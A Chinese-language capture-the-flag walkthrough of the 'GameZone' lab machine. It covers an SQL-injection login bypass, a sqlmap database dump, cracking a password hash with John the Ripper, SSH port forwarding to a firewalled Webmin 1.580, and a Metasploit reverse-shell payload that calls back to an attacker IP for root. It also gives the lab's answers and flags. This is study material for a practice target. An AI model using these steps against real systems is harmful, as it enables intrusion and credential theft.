Offensive Pentesting-GameZone
Offensive Pentesting-GameZone
Deploy the vulnerable machine
拿到靶机 先扫端口
只是开启了22端口的ssh服务和80端口的web服务
访问一下网站
What is the name of the large cartoon avatar holding a sniper on the forum?
Agent 47
问的是背景中这个拿着狙击枪的角色是 我们把这张图单独保存出来 百度识图一下得知是《杀手》游戏中的主角
Obtain access via SQLi
SQL 是一种用于在数据库中存储、编辑和检索数据的标准语言。查询可能如下所示:
SELECT * FROM users WHERE username = :username AND password := password
在我们的 GameZone 机器中,当您尝试登录时,它将从您的用户名和密码中获取您输入的值,然后将它们直接插入到上面的查询中。如果查询找到数据,您将被允许登录,否则它将显示一条错误消息。
这是一个潜在的漏洞位置,因为您可以将用户名输入为另一个 SQL 查询。这将写入、放置和执行查询。
让我们使用上面学到的知识来操作查询并在没有任何合法凭证的情况下登录。
如果我们的用户名是 admin,密码是: ' or 1=1 -- -
它会将其插入到查询中并验证我们的会话。
现在在 Web 服务器上执行的 SQL 查询如下所示:
SELECT * FROM users WHERE username = admin AND password := ' or 1=1 -- -
我们作为密码输入的额外 SQL 更改了上述查询以中断初始查询并继续(与管理员用户一起)如果 1==1,则注释查询的其余部分以阻止它中断。
完成
GameZone 在数据库中没有管理员用户,但是您仍然可以使用我们在上一个问题中使用的输入密码数据在不知道任何凭据的情况下登录。
使用 ' or 1=1 -- -
作为您的用户名,并将密码留空
登录后,您将重定向到哪个页面?
portal.php
Using SQLMap
重定向到的这个页面是一个游戏评论查询的功能 我们可以在这个页面上进行sql注入 这里直接使用sqlmap
先用burpsuite把请求包拦一下 将请求包的内容保存到requests.txt中
sqlmap -r requests.txt --dbms=mysql --dump
使用–dbms指定数据库的类型 –dump直接转储数据库表项,查询字段值
输出了db数据库中的两个表
在 users 表中,哈希密码是什么?
ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14
与哈希密码关联的用户名是什么?
agent47
另一个表名是什么?
post
Cracking a password with JohnTheRipper
下一步我们使用john来爆破密码
john hash.txt --wordlist=rockyou.txt --format=Raw-SHA256
拿到密码明文是
videogamer124
有了用户名和密码 我们可以使用ssh远程连接 获取agent47用户的shell 并拿到用户目录下的flag
什么是用户标志?
649ac17b1480ac13ef1e4fa579dac95c
Exposing services with reverse SSH tunnels(使用反向 SSH 隧道公开服务)
反向 SSH 端口转发将远程服务器主机上的给定端口转发到本地端的给定主机和端口。
-L 是本地隧道 (YOU <– CLIENT)。如果站点被阻止,您可以将流量转发到您拥有的服务器并查看它。例如,如果你在本地访问远程服务器开启的网页被拒绝时,您可以执行
ssh -L 9000:imgur.com:80 user@example.com
转到您计算机上的 localhost:9000,将使用您的其他服务器加载这个远程服务器的服务流量。
-R 是远程隧道 (YOU –> CLIENT)。您将流量转发到其他服务器供其他人查看。与上面的示例类似,但是相反
我们将使用一个名为 ss 的工具来调查主机上运行的sockets
如果我们运行 ss -tulpn,它会告诉我们正在运行哪些sockets连接
Argument | Description |
---|---|
-t | Display TCP sockets |
-u | Display UDP sockets |
-l | Displays only listening sockets |
-p | Shows the process using the socket |
-n | Doesn’t resolve service names |
现在我们可以在靶机中运行一下这个命令 查看一下有多少TCP的sockets在运行
How many TCP sockets are running?
5
我们可以看到,运行在端口 10000 上的服务被防火墙规则从外部阻止了(我们可以从 IPtable 列表中看到这一点)。但是,使用 SSH 隧道,我们可以将端口公开给我们(本地)
sudo iptables -L -n -v
在本地 我们运行 这样10.10.137.213开放的端口10000的服务就会转发到我们本地的10000端口上
ssh -L 10000:localhost:10000 agent47@10.10.137.213
现在访问localhost:10000
就可以访问到这个web服务
尝试发现 网站的登陆密码也是agent47/videogamer124 成功登陆后台
What is the name of the exposed CMS?
Webmin
What is the CMS version?
1.580
Privilege Escalation with Metasploit
有了cms的版本 我们直接使用msfconsole来提权 这里就直接使用第一个payload来自动提权
需要提前设置的条件有
use 0
set payload cmd/unix/reverse
set RHOSTS localhost
set RPOST 10000
set PASSWORD videogamer124
set USERNAME agent47
set LHOST 10.11.114.143
set ssl false
已经创建了一个session会话 直接打开
sessions -l
sessions 1
考点
1.sql注入重定向
2.sqlmap注出数据库中的账密信息
3.john破解密码哈希
4.反向ssh隧道端口转发
5.Webmin 1.580漏洞 msfconsole提权